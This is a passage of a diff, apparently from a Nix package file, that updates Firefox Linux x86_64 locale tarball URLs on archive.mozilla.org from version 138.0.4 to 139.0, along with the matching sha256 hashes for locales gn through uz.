+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gn/firefox-139.0.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "a64e0d51f7940560d311f3d8a38e2315e7a43d4bee72d7d8a16555d7998ac982";
+      sha256 = "2f5323f6a1dca8dc7f384d0e94d7cdd07856e7cae893adbec2e6588bf69dcc94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/gu-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gu-IN/firefox-139.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "cb6611e4fa978abdef3749c260b063995b1c107a1851352303770c041c57e937";
+      sha256 = "a1b29a69e222ab789b7e46945d217aeed4c2654e978a5cc76590378f60618fff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/he/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/he/firefox-139.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "9d9a9bef24cbd1beabd933534ce6733de7ffaba76287971206ed822935d1efdd";
+      sha256 = "a1b2fd32771537a95aedba6cb67b424b8b75f0261fb935eb6e0a8479d28b2d87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/hi-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hi-IN/firefox-139.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "fa3e144b30eefe02d027f647a5ceb263b4a32177a226262e3e4ee8698051ec45";
+      sha256 = "78935bbe5424339d7a720d1c8afee5842be8d35033468955d08942ba741c04b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/hr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hr/firefox-139.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "7355b2dcfb283ea5f0caa86f1859d97fd8d87df7742163ba2f157b90e519ee70";
+      sha256 = "4f044ba8f8a5dd4e8ac399f4a341c40db06b43796631711d7cc11409bf7403c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/hsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hsb/firefox-139.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "337667220643980cfb334313d6790e875c9e84908fb917b2874cc62750b5ebc3";
+      sha256 = "99a52d22815c5a0e515c8e7cf2befbfad6751443ca555bd6406f5728f279bd81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/hu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hu/firefox-139.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "d7f0172ffdce474b465cbec769d5a16d696a4e350c57b2acaa5ca6b5668db613";
+      sha256 = "2f5bc74482f9e36ad6b3464eae73c3f4e0eba74468b115b980ef7ec8f455f53c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/hy-AM/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hy-AM/firefox-139.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "16a40210e24f645685d6c9b7bb49e15ae2637bf8766980c47134e914b391d6c4";
+      sha256 = "3008150f60e7fea872947bf44548dbed432e594713281008265e8beaa33e4bcf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ia/firefox-139.0.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "1c86528c3163a1eefcd307802a203f9c978a83e8b3547bd7cf2f32a72299fc18";
+      sha256 = "0bbbdfc47a8cc84117feb5f2b45918eed8234f0bdfd23355f4471fff186266ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/id/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/id/firefox-139.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "4e6c513d761aa715010ecbef732f0357d62493236e5428df1df25253eaa8f17c";
+      sha256 = "5bdeb876bbf9969a9d8b388ae4a4d5dbfbfe6b960fa2ad0e0c3533e09dd23c38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/is/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/is/firefox-139.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "061744d3ef7a2399c4d2c34685b995794a926d1ad6fc747619adb510b8a394b3";
+      sha256 = "2f9943fc19e7199fb4e4bed94322b16473bdb7abde7c81c2f9f30ec6b4b2f37c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/it/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/it/firefox-139.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "197423e145866987678da3d064f2341cf4c21c6bced709494f17f57a95d7b478";
+      sha256 = "d7d54deaa139ed6521787845c6087c6cc1eeccebaf3c1c35c5ecd93834d3b90c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ja/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ja/firefox-139.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "e4187d067fb167ad407bf5f88d9a0d78ff1b7cc13138d803dc240c2c1fd5b40c";
+      sha256 = "254361288515d5c6a1d673080690c00db95f9710d0146aa8949d0c45c8aa83b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ka/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ka/firefox-139.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "0b33daa993219264fc7b188a68f7e5db5ae29c0bd03e994e6f4bc76058fc7ee9";
+      sha256 = "430d36f331c9010e83c9a8df99d05a26b2f85c4f820a658162b2cadc06397d57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/kab/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kab/firefox-139.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "1525dfc137131c1bd273fbd7feb618b81f35860659f16209e772b7ba0673a432";
+      sha256 = "6a6105863267194aac3e37752eb2e6b8b90178280145a260fc6076cc565da9ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/kk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kk/firefox-139.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "964d2528f57cf645cdc42717f6d7927348fcdc64b41a97c76ed40ff938ce6b3a";
+      sha256 = "1f1c7bbbe0b7b6b5da607902e2da948a8ccdbcda7f7686163e6507fe4c388a9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/km/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/km/firefox-139.0.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "c88e49fa1e7b80dcea31e97c941db043489bf78d99bda288103178b9ef67f9f8";
+      sha256 = "89792a9db5502a70868cd75f570f08f029f159a62c3581d592a0312cb86befd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/kn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kn/firefox-139.0.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "515b23f015bf9515071096dabe6460bbd574cb1cd236a38685b033ce9f17b591";
+      sha256 = "89faec53c260ff3e1fbb88b828a8b4c12bc1fa7a411a62ceef0d20b99c941679";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ko/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ko/firefox-139.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "1e14f897d809c541e66b2ed6d7d99ec40c6fc5b205129dbbba020f0ddfc20238";
+      sha256 = "d5f2c00cc56f7fd106d15b8cab4462164458359ad85eb0e2e049670b357238d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/lij/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lij/firefox-139.0.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "2e512ed16b6f6417d0ce1526b227dd1db65574e7fbf77d44207e5f119d58cd9f";
+      sha256 = "7f6f6c74a8db597de876b2ba185007b56bd95bf1102fe736f05108892186f611";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/lt/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lt/firefox-139.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "9ebed7889b0d21bd1a8888346f7e7e8f695cf1d63f1f419ba5365097865b8e08";
+      sha256 = "347fd3cb125c83a116cc27fb06078e2f189f56460bf215932c30adf3b99db278";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/lv/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lv/firefox-139.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "ea6fba7fabbdf5985ea39dbcf13af668a535111f63bcefb637839971ad8679c1";
+      sha256 = "9142c42fc24e621524e689e2065bb56048320c7fb5488c5ba41283276f141df2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/mk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/mk/firefox-139.0.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "a73977acd9b93c91cb822e022d31d7e1e6b82a67534f6e3318b8ec22ae981f88";
+      sha256 = "d9e78f50252aa930d8f0cf4c8c716c44ff5b6bb2a8f57e7fcdb31c3a0e1b3115";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/mr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/mr/firefox-139.0.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "0e9e22920bf6532245d05fc8b59701837c08e194f55de9d9c2ec87df75e5b786";
+      sha256 = "10ab25e76f277fcb286f69aac82b66dd012cc2a5564f5c8fd799f87845241ddb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ms/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ms/firefox-139.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "a2998dbfcc31ba1a27e250ef82e338d777847d721fe2736d51c3da42aa8fc1da";
+      sha256 = "b2cf5ce2f683556e9aaa976d8a95641758274df94db8a6aedc7002b6c88535c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/my/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/my/firefox-139.0.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "6aa0cbe3b830a09c42f6e5047cb7532bcff4e7461ef2b4cdf66fc9da712d2a28";
+      sha256 = "f1c54b2641e28d9a44ad1f0df9bca599fd00b9644c8655f6d52552f821fd3a5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/nb-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nb-NO/firefox-139.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "6983681bec0c0cf843dda0f6854f1024bf78b0ade236e0798ff310461bb6cbff";
+      sha256 = "4ad13b8fc48d6ad5a248cdf2a17543490c4c2c4419bf009aaf6149d18158e0dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ne-NP/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ne-NP/firefox-139.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "887832f25352196eae4b6eb647533b7850df63f2d588186993843f71141bce87";
+      sha256 = "daf48cc5f1aa49ea2981d3ef525734a0ecab6dc9472c48ab4cb37595edf12f22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/nl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nl/firefox-139.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "23cf469fc5cc8760eec4191938d1c9c62ee250e4535b7b9e9af6790e30bf4694";
+      sha256 = "84d6f492526e7d50d820a30e46506a4fba7d974e0ebcf32121d22ace9c31061b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/nn-NO/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nn-NO/firefox-139.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "fa1a0e46dbdd3b3fe9a55cec7a909616c3bb7fdac7c31989241bde576352c4bd";
+      sha256 = "a8dd9fcd7a095f8f6c4ef34f80d6d4e89c8d79709bf7af1978a20fe62bb00777";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/oc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/oc/firefox-139.0.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "3267e3c66eb04d82090e59600afe5f7d63965a35a23a1fd821239e7e2f281abb";
+      sha256 = "ced183e9cc067b4fde0c81082a78ceea7ac8bf9d5491b8fe6ede0142fedff8d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/pa-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pa-IN/firefox-139.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "c554ac5c4229d65903451596463bdfa3406c3422cbe451658fb09945b00ab9a1";
+      sha256 = "fbeeabef8d421e03e7f10e60a03f2fff29f8d432c0385c4f49c63f3c0c168191";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/pl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pl/firefox-139.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "ba6ac7e79b2baa3a134d84179604dd95f375a529f79524f35376a249e4aaef18";
+      sha256 = "889d87d15237b582db0bd5117d3eec2adef8e6b06d59b7098e696e8e19ea8e2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/pt-BR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pt-BR/firefox-139.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "98fe932eb1fa04eb40e0bfac8d6600368cb095a00c0d5594ae89b31da29c4317";
+      sha256 = "e008a36e1884fcbeec4e6075918bcf351a4d8c20da4287572c5042b7b7b48068";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/pt-PT/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pt-PT/firefox-139.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "d2b0635cd7d64c38dbcaab489aaf706706d6a3818ce4c5fe12d46867970837fe";
+      sha256 = "08c0ff51e0d72fe591593f6de779f1ce49983835a2901d5eb27bfd1aa6ad766a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/rm/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/rm/firefox-139.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "2f17eaf677a89f0641ddd5bd272adfa7d2404a10ce36588e4101cb16f4d1c06a";
+      sha256 = "d60a79ebbbbb8c4102373aada622c666f5fe64e4cfd768495e58615017ae20eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ro/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ro/firefox-139.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "5c3fdebd6966a63a2b149061ac9e7a313ad045403a958e16f8d721875983ceb9";
+      sha256 = "c64b48d6186b5ebddcc33e298bb32e0a066c2250c62bec6272e63a247120b0ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ru/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ru/firefox-139.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "a90635f3a73f440763594d87e3496c4a3d510fc35c35c71d6984f65558205fe6";
+      sha256 = "67147d216a06fafb6788a3401e14e4faeb7fad65142708ca9e1a66d47ff58108";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sat/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sat/firefox-139.0.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "79f3594ef58d26fe396e1d5254b944b8f84a68a1c2ef7bcef76b15658af29071";
+      sha256 = "fef644903c31ac92d0321bf8bc535302dffa9aa6ed53d87c4acb7ad1ab7eb64f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sc/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sc/firefox-139.0.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "99d5875677fd16c90b7ed0adf17a6d03cebc0056c0f63fa9a6ed21b2d3b87427";
+      sha256 = "8549b061f88d772f7264f532467b3020cecc9dbdcf42c0523d700aff3cedfc1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sco/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sco/firefox-139.0.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "0f1a8173288e5efc5d49f6d7dc09f68a2f8f9afabc74acf523f3f3d57ff32465";
+      sha256 = "7a8a4d91b0a50b94a7d3131a62d5f7182b72322fdabe87b64404384ec6ec231c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/si/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/si/firefox-139.0.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "e985191a49387bda29d8b0afe6a0d395e1151b28a5b6f9ed1ea6c7910452a5e5";
+      sha256 = "be98d369abd1ce4142ca7546fa6e4693cf8f117365312ff7e6b5769c36516c42";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sk/firefox-139.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "4b5251b43442056746574c3875a2d72c5684255e6fe335f3c28aeca0cdd2a5df";
+      sha256 = "34a578971ae81a3d674aeb879acc264ba5f21476272223b6c71876cdbb684231";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/skr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/skr/firefox-139.0.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "2c1598a8dff78558835f07eeedee009b0d7f023ef475b981fe88d51edddc8acd";
+      sha256 = "51ad118f8c0be27bdbb27fabfd17ba3fc1c0aca91b742cbab93a4277e0f60ad7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sl/firefox-139.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "a569d658d08994b83e7b4da35d402ce096609aa70d4d863f700b9384ef9fb29b";
+      sha256 = "f228535fbb29ebc43e422ecfdb505c908df65cd7b15a1f86c6c85353c313494a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/son/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/son/firefox-139.0.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "c2861f1086902791d8958b4c93728c23ac562db16fc9a751fadca17ebb8b56b6";
+      sha256 = "05b5574bf2d4311bdd0d8757ed73871709a5b125aa7f2ea67676e60483c30ff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sq/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sq/firefox-139.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "83488c68cb5ee1e9705eb91a7bcbaaf9fcf0321f2cd2864110cae421c102113f";
+      sha256 = "89b9d0f8f521f8408bd9f020693b99617f9f86945783c054b23c321640a7f6e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sr/firefox-139.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "57bc4bebaf51204f586a35af80e29bce76d18e6ecb496ebb6c3f7d5ee6edfb21";
+      sha256 = "c258a0b6e528c9d10d9cf5f7bc88e95be3b1182c71c95b06576d0b4b17286a88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/sv-SE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sv-SE/firefox-139.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "ddc79581cb750104d2b3ca950ebc08926ae169aedff9de0097820a8609756386";
+      sha256 = "4a1dd6dfd020c55ec36f1d76a1c71d47a1f8c11cbddcf99acf66f7fdbca8d318";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/szl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/szl/firefox-139.0.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "4d3b281f70e73c97d6333aa0b93efc8b744e63b66d54e3f819b1e0cd44d48edf";
+      sha256 = "bb0f418f80e04e7ed6bd8fa51356667bd095a105b273615e13d957f50ba603b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ta/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ta/firefox-139.0.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "3e3cd2018a8c1dded25dcaa567d4718a8fb2b97306e94328b1287ca0bd823416";
+      sha256 = "bbd26b2659a375ed9810139a618181f1a5658b6a9a44f79c7575e290a75efca9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/te/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/te/firefox-139.0.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "3b7927bccae8823ed3350eea6230a1597c87edd4ef03d2545aa54b790b433500";
+      sha256 = "991665af81bfea372295d0bc053c9569544a0942e5dee1c812b802573af34dea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/tg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tg/firefox-139.0.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "6eb55acda161ef168ffe6b8b7ccf338d1393b809451bdc2466108276c8ed6493";
+      sha256 = "d815dd158de68813e7ff3f6f100ac81f0094d91ef437c69bc4ba54fda60a3755";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/th/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/th/firefox-139.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "5a0798ea59cdfa393a142ed782e1229147da7332fca84607d2ddc8086cc831cf";
+      sha256 = "7427760fadee60078e2d85047c4863579dece7ccc8a6bae2a52f4b15715e367c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/tl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tl/firefox-139.0.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "2785030fa1641d6058d8f65012479348bbbffd458bf5266c83deb30f6f1f3553";
+      sha256 = "d0600d497dc6a5f6c798f7467e781468eff3aff74307bfccbddb398a4a75c291";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/tr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tr/firefox-139.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "c08252777473eb856df9eb417b01f2442e9d55421f0e2ac7924b48be10178709";
+      sha256 = "83336619a14bd6b0e4aae723c251db8002516b1cc69573d6954d5c9484dac501";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/trs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/trs/firefox-139.0.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "4f79d48886ec1b6ad87a4e635a9b90d22a076556a35dc9245c08c1df6444c99e";
+      sha256 = "6523751118776e7311a2bf63a64669ba4eb115d216f55ce353d5ff3148fa8b3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/uk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/uk/firefox-139.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "92427d29b07e6712ca3807271b2ed26cdbe99424e6bb09acc5dcd92c229f86bc";
+      sha256 = "936aa7e292b3ce731499ece4245f39e7dc53a9072852f0a9fa2d7fee84bca433";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ur/firefox-139.0.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "339dfe725ef1f4e788d0787149dfc03f8c219edea80c09a9f9ccef12883f23f4";
+      sha256 = "0b63faf81f96a044ad643d4d2339b7fb5667106413967cb85e262a9af12d9a24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/uz/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/uz/firefox-139.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "2d8a591224fb5ee93fa4927dba5c76836cca0a25585418de5fb6f9072ae56e9e";
